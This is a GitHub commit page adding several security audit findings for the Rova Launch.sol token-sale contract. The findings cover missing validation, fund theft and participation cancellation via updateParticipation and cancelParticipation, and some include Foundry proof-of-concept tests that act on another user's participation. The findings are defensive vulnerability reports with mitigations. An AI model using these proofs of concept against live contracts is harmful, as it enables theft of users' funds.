-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
bd466e2
commit 4298855
Showing
676 changed files
with
58,034 additions
and
10 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
Tangy Ultraviolet Meerkat | ||
|
||
Medium | ||
|
||
# Lack of Validation on Currency Configuration Updates | ||
|
||
### Summary | ||
|
||
The `setLaunchGroupCurrency` and `toggleLaunchGroupCurrencyEnabled` functions allow updating currency configurations without sufficient validation, which could lead to misconfigured token pricing or disabled currencies being re-enabled unexpectedly. | ||
|
||
### Root Cause | ||
|
||
- The function `setLaunchGroupCurrency` allows a manager to update the currency configuration without verifying whether the launch group exists. | ||
- `toggleLaunchGroupCurrencyEnabled` allows enabling/disabling a currency without checking if it has been previously set, which could cause inconsistencies. | ||
|
||
https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L726 | ||
https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L740 | ||
|
||
### Internal Pre-conditions | ||
|
||
### External Pre-conditions | ||
|
||
### Attack Path | ||
|
||
### Impact | ||
|
||
- Could cause incorrect currency pricing in token sales. | ||
- Could allow unexpected reactivation of disabled currencies. | ||
- May lead to unintended user participation issues. | ||
|
||
### PoC | ||
|
||
### Mitigation | ||
|
||
- Add a check to ensure the launch group exists before setting a currency. | ||
- Require that the currency has been previously configured before allowing it to be enabled/disabled. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
Custom Champagne Worm | ||
|
||
Medium | ||
|
||
# Replay Attack Due to Missing userId Validation | ||
|
||
### Vulnerability Details | ||
The participate function relies on userId to prevent replay attacks, but it does not validate whether userId is non-zero. | ||
This allows an attacker to submit a request with **userId = 0x0**. | ||
https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L287 | ||
|
||
https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L237-L239 | ||
And here it will effectively bypass the uniqueness check and enable duplicate participations with the same launchParticipationId. | ||
|
||
As a result: | ||
|
||
Malicious users could replay the same participation request multiple times. | ||
It could lead to unauthorized allocations of tokens. | ||
The system could be exploited to withdraw more funds than intended. | ||
|
||
I mark this issue as 'Medium' because there is less possibility that userId is 0 and it might be validated by signers out of the network. | ||
But, we still need to add the validation check for userId in the contract itself. | ||
|
||
### Fixes | ||
|
||
✅ Pass the entire request struct instead of individual parameters. | ||
✅ Check request.userId != bytes32(0) to ensure it is valid. | ||
|
||
```solidity | ||
/// @notice Validates common request parameters | ||
function _validateRequest(ParticipationRequest calldata request) private view { | ||
// Validate launch id, chain id, user address, and launch group is valid | ||
if ( | ||
request.userId == bytes32(0) || request.launchId != launchId || request.chainId != block.chainid | ||
|| msg.sender != request.userAddress || !_launchGroups.contains(request.launchGroupId) | ||
) { | ||
revert InvalidRequest(); | ||
} | ||
// Validate request has not expired | ||
if (request.requestExpiresAt <= block.timestamp) { | ||
revert ExpiredRequest(request.requestExpiresAt, block.timestamp); | ||
} | ||
} | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,75 @@ | ||
Kind Eggshell Shark | ||
|
||
High | ||
|
||
# user will steal other user's funds | ||
|
||
### Summary | ||
|
||
The missing check in `updateParticipation` function will cause a stealing other user's funds. | ||
|
||
### Root Cause | ||
|
||
On `updateParticipation` function in `Launch.sol`, it only checks if the previous userid is same with current userid in request, does not checks the userAddress. | ||
[link](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L363) | ||
If new amount is decreased than previous amount, the difference amount will be send to caller. | ||
|
||
### Internal Pre-conditions | ||
|
||
1. signer needs to sign the `UpdateParticipationRequest` | ||
|
||
### External Pre-conditions | ||
|
||
none | ||
|
||
### Attack Path | ||
|
||
1. user calls `updateParticipation` function with other user's info with decreased tokenAmount, changing userAddress to attacker's address | ||
|
||
### Impact | ||
|
||
The other users loss their funds | ||
|
||
### PoC | ||
|
||
```solidity | ||
// Based on Launch.UpdateParticipation.t.sol | ||
// [...] | ||
function test_steal_funds() public { | ||
ParticipationRequest memory request = _createParticipationRequest(); | ||
bytes memory signature = _signRequest(abi.encode(request)); | ||
vm.startPrank(user2); | ||
console.log("user2 balance", currency.balanceOf(user2)); | ||
UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest2(500); | ||
bytes memory updateSignature = _signRequest(abi.encode(updateRequest)); | ||
launch.updateParticipation(updateRequest, updateSignature); | ||
console.log("user2 balance after exploit", currency.balanceOf(user2)); | ||
vm.stopPrank(); | ||
} | ||
// [...] | ||
function _createUpdateParticipationRequest2(uint256 newTokenAmount) | ||
internal | ||
view | ||
returns (UpdateParticipationRequest memory) | ||
{ | ||
uint256 launchTokenDecimals = launch.tokenDecimals(); | ||
return UpdateParticipationRequest({ | ||
chainId: block.chainid, | ||
launchId: testLaunchId, | ||
launchGroupId: testLaunchGroupId, | ||
prevLaunchParticipationId: testLaunchParticipationId, | ||
newLaunchParticipationId: "newLaunchParticipationId", | ||
userId: testUserId, | ||
userAddress: user2, | ||
tokenAmount: newTokenAmount * 10 ** launchTokenDecimals, | ||
currency: address(currency), | ||
requestExpiresAt: block.timestamp + 1 hours | ||
}); | ||
} | ||
``` | ||
|
||
### Mitigation | ||
|
||
add a check that `request.userAddress == prevInfo.userAddress` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,97 @@ | ||
Kind Eggshell Shark | ||
|
||
Medium | ||
|
||
# Any user can can other user's participation | ||
|
||
### Summary | ||
|
||
The missing check for `userAddress` will lead to cancel other users' participation by anyone | ||
|
||
### Root Cause | ||
|
||
[link](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L430-L433) | ||
in current implementation of `calcelParticipation` function, it does not verify if userAddress in request is same on info. So anyone can cal other user's partipation. And it sends the funds to `info.userAddress` so can't steal that funds directly. | ||
|
||
### Internal Pre-conditions | ||
|
||
1. signer needs to sign their request | ||
|
||
### External Pre-conditions | ||
|
||
none | ||
|
||
### Attack Path | ||
|
||
1. User calls `cancelParticipation` function with their request | ||
|
||
### Impact | ||
|
||
The users' participation can be canceled by any users. | ||
|
||
### PoC | ||
|
||
```solidity | ||
// Based on Launch.CalcelParticipation.sol | ||
// [...] | ||
function test_CancelParticipation() public { | ||
// Prepare cancel participation request | ||
CancelParticipationRequest memory cancelRequest = _createCancelParticipationRequest(); | ||
bytes memory cancelSignature = _signRequest(abi.encode(cancelRequest)); | ||
ParticipationInfo memory info = launch.getParticipationInfo(cancelRequest.launchParticipationId); | ||
assertEq(info.tokenAmount, 1000 * 10 ** 18); | ||
assertEq(info.currencyAmount, 1000 * 10 ** 18); | ||
uint256 initialUserTokenAmount = launch.getUserTokensByLaunchGroup(testLaunchGroupId, testUserId); | ||
uint256 startingBalance = currency.balanceOf(user1); | ||
vm.startPrank(user2); | ||
// Expect ParticipationCancelled event | ||
vm.expectEmit(); | ||
emit ParticipationCancelled( | ||
cancelRequest.launchGroupId, | ||
cancelRequest.launchParticipationId, | ||
cancelRequest.userId, | ||
user2, | ||
info.currencyAmount, | ||
address(currency) | ||
); | ||
// Update participation | ||
launch.cancelParticipation(cancelRequest, cancelSignature); | ||
vm.stopPrank(); | ||
// Verify update | ||
ParticipationInfo memory newInfo = launch.getParticipationInfo(cancelRequest.launchParticipationId); | ||
assertEq(newInfo.tokenAmount, 0); | ||
assertEq(newInfo.currencyAmount, 0); | ||
// Verify user balance | ||
assertEq(currency.balanceOf(user1), startingBalance + info.currencyAmount); | ||
// Verify user tokens | ||
uint256 userTokenAmount = launch.getUserTokensByLaunchGroup(testLaunchGroupId, testUserId); | ||
assertEq(userTokenAmount, initialUserTokenAmount - info.tokenAmount); | ||
// Verify user ID is no longer in the launch group | ||
assertEq(launch.getLaunchGroupParticipantUserIds(testLaunchGroupId).length, 0); | ||
} | ||
// LaunchTestBase.t.sol | ||
function _createCancelParticipationRequest() internal view returns (CancelParticipationRequest memory) { | ||
return CancelParticipationRequest({ | ||
chainId: block.chainid, | ||
launchId: testLaunchId, | ||
launchGroupId: testLaunchGroupId, | ||
launchParticipationId: testLaunchParticipationId, | ||
userId: testUserId, | ||
userAddress: user2, // change to user2 | ||
requestExpiresAt: block.timestamp + 1 hours | ||
}); | ||
} | ||
``` | ||
|
||
### Mitigation | ||
|
||
add a check for `info.userAddress == msg.sender` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,79 @@ | ||
Kind Eggshell Shark | ||
|
||
Medium | ||
|
||
# User can loss funds when calling `updateParticipation` function | ||
|
||
### Summary | ||
|
||
The missing check for `ParticipationId` in `updateParticipation` can loss the user's funds | ||
|
||
### Root Cause | ||
|
||
[link](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L380) | ||
It sets `currentAmount` and `tokenAmount` of `newInfo` first and reset those field of `prevInfo` to zero. When user pass the `prevLaunchParticipationId` and `newLaunchParticipation` with same value, the `currentAmount` and `tokenAmount` would be set to zero even if the user deposites the currency | ||
|
||
### Internal Pre-conditions | ||
|
||
1. signer needs to sign their request | ||
|
||
### External Pre-conditions | ||
|
||
none | ||
|
||
### Attack Path | ||
|
||
1. The user calls updateParticipation with same ParticipationId | ||
|
||
### Impact | ||
|
||
The user can loss their funds | ||
|
||
### PoC | ||
|
||
```solidity | ||
// based on Launch.UpdateParticipation.t.sol | ||
// [...] | ||
function test_loss_funds() public { | ||
ParticipationRequest memory request = _createParticipationRequest(); | ||
bytes memory signature = _signRequest(abi.encode(request)); | ||
vm.startPrank(user1); | ||
ParticipationInfo memory iii = launch.getParticipationInfo(testLaunchParticipationId); | ||
console.log("tokenAmount", iii.tokenAmount); | ||
console.log("currencyAmount", iii.currencyAmount); | ||
UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest(500); | ||
bytes memory updateSignature = _signRequest(abi.encode(updateRequest)); | ||
launch.updateParticipation(updateRequest, updateSignature); | ||
iii = launch.getParticipationInfo(testLaunchParticipationId); | ||
console.log("tokenAmount after", iii.tokenAmount); | ||
console.log("currencyAmount after", iii.currencyAmount); | ||
vm.stopPrank(); | ||
} | ||
// [...] | ||
function _createUpdateParticipationRequest(uint256 newTokenAmount) | ||
internal | ||
view | ||
returns (UpdateParticipationRequest memory) | ||
{ | ||
uint256 launchTokenDecimals = launch.tokenDecimals(); | ||
return UpdateParticipationRequest({ | ||
chainId: block.chainid, | ||
launchId: testLaunchId, | ||
launchGroupId: testLaunchGroupId, | ||
prevLaunchParticipationId: testLaunchParticipationId, | ||
newLaunchParticipationId: testLaunchParticipationId, // same id | ||
userId: testUserId, | ||
userAddress: user1, | ||
tokenAmount: newTokenAmount * 10 ** launchTokenDecimals, | ||
currency: address(currency), | ||
requestExpiresAt: block.timestamp + 1 hours | ||
}); | ||
} | ||
``` | ||
|
||
### Mitigation | ||
|
||
add a check `prevLaunchParticipationId!=newLaunchParticipationId` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
Kind Eggshell Shark | ||
|
||
High | ||
|
||
# Any user can loss other user's funds | ||
|
||
### Summary | ||
|
||
The missing check of `newLaunchParticipationId` can overwrite other user's info in `updateParticipation` function. | ||
|
||
### Root Cause | ||
|
||
On `updateParticipation` function in `Launch.sol`, it does not check anything of `newLaunchParticipationId`. | ||
[link](https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L380) | ||
If user send request including other user's participation id, the all values (currencyAmount, currency, userId, userAddress, tokenAmount) can be overwritten. | ||
|
||
### Internal Pre-conditions | ||
|
||
1. signer needs to sign the `UpdateParticipationRequest` | ||
|
||
### External Pre-conditions | ||
|
||
none | ||
|
||
### Attack Path | ||
|
||
1. user A creates dummy participation with calling `participate` function | ||
2. user A calls `updateParticipation` function with other user's Participation Id. | ||
|
||
### Impact | ||
|
||
The users funds can be deleted by any users | ||
|
||
### Mitigation | ||
|
||
add a check for `newLaunchParticipationId` |
Oops, something went wrong.